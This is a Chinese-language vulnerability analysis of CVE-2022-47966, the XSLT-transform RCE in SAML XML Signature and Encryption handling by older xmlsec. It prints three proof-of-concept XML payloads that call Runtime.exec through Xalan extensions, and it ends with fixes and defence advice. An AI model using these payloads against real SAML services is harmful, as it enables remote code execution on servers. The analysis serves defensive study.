CVE-2022-47966 SAML RCE
字数 1216 2025-08-24 16:48:07
XML Signature 和 XML Encryption 中的 XSLT 转换漏洞分析
1. 漏洞背景
SAML(安全断言标记语言)和OIDC(OpenID Connect)是主要的SSO(单点登录)标准。SAML依赖XMLSignature和XMLEncryption来验证消息来源,但这些标准设计复杂,存在多种安全风险。
2. 核心漏洞原理
2.1 XSLT转换功能的风险
XML Signature规范允许执行XSLT转换(https://www.w3.org/TR/2013/REC-xmldsig-core1-20130411/#sec-XSLT),攻击者可以构造恶意XSLT样式表,在服务器验证签名时执行任意代码。
2.2 漏洞触发点
在XML处理过程中,存在多个可能触发XSLT转换的位置:
- SignedInfo验证过程:旧版本xmlsec在验证签名时首先检查SignedInfo
- RetrievalMethod元素:KeyInfo中的RetrievalMethod会在签名值检查前执行转换
- XML加密相关元素:
- CipherReference
- ReferenceList
- EncryptedKey中的KeyInfo
3. 漏洞利用方式
3.1 基本利用方法
构造包含恶意XSLT的XML签名文件示例:
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:SignedInfo>
<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
<ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#hmac-sha1">
<ds:HMACOutputLength>1</ds:HMACOutputLength>
</ds:SignatureMethod>
<ds:Reference URI="#pfx2d9362ee-a4ec-13c8-3151-65f533ef4416">
<ds:Transforms>
<ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"
xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object">
<xsl:template match="/">
<xsl:variable name="rtobject" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtobject,'calc')"/>
<xsl:variable name="processString" select="ob:toString($process)"/>
<xsl:value-of select="$processString"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
<ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
</ds:Transforms>
<ds:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/>
<ds:DigestValue>/KjOCTrjp+RcRcbirgX6HysSfhM=</ds:DigestValue>
</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>AAAAAA</ds:SignatureValue>
</ds:Signature>
3.2 通过RetrievalMethod利用
<ds:KeyInfo xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:RetrievalMethod URI="file:/some/important/secret.xml">
<ds:Transforms>
<ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"
xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object">
<xsl:template match="/">
<xsl:variable name="rtobject" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtobject,'calc')"/>
<xsl:variable name="processString" select="ob:toString($process)"/>
<xsl:value-of select="$processString"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
</ds:RetrievalMethod>
</ds:KeyInfo>
3.3 通过XML加密利用
<xenc:CipherData>
<xenc:CipherReference URI="#_8e8dc5f69a98cc4c1ff3427e5ce34606fd672f91e6">
<xenc:Transforms>
<dsig:Transforms>
<dsig:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"
xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object">
<xsl:template match="/">
<xsl:variable name="rtobject" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtobject,'calc')"/>
<xsl:variable name="processString" select="ob:toString($process)"/>
<xsl:value-of select="$processString"/>
</xsl:template>
</xsl:stylesheet>
</dsig:Transform>
</dsig:Transforms>
</xenc:Transforms>
</xenc:CipherReference>
</xenc:CipherData>
4. 安全防护措施
4.1 xmlsec版本更新
- xmlsec 1.4.2及以上:在检查签名信息前先检查签名值
- xmlsec 1.5.0及以上:添加了安全验证属性(但默认未启用)
- xmlsec 2.2.3/2.1.7及以上:修复了KeyInfoReference绕过问题
4.2 安全处理功能
从xmlsec 1.4.2开始,在执行XSLT转换时启用了安全处理功能,限制了Xalan扩展的使用,仅保留document()等有限功能。
5. 绕过尝试
5.1 CVE-2022-34169整数截断漏洞
尝试利用Xalan整数截断错误绕过安全限制,但发现:
- 该漏洞发生在XSLTC编译过程中
- 当类路径中有xalan库时,默认使用XSLTElementProcessors而非XSLTC
- 因此该绕过方法在xalan存在时无效
6. 漏洞影响
该漏洞影响使用旧版本xmlsec的SAML实现,特别是:
- ManageEngine产品(不同产品使用不同xmlsec版本)
- 其他未及时更新xmlsec库的SAML实现
7. 防御建议
- 更新xmlsec到最新版本(2.2.3或2.1.7及以上)
- 启用安全验证属性
- 限制XSLT转换功能的使用
- 对SAML响应进行严格的输入验证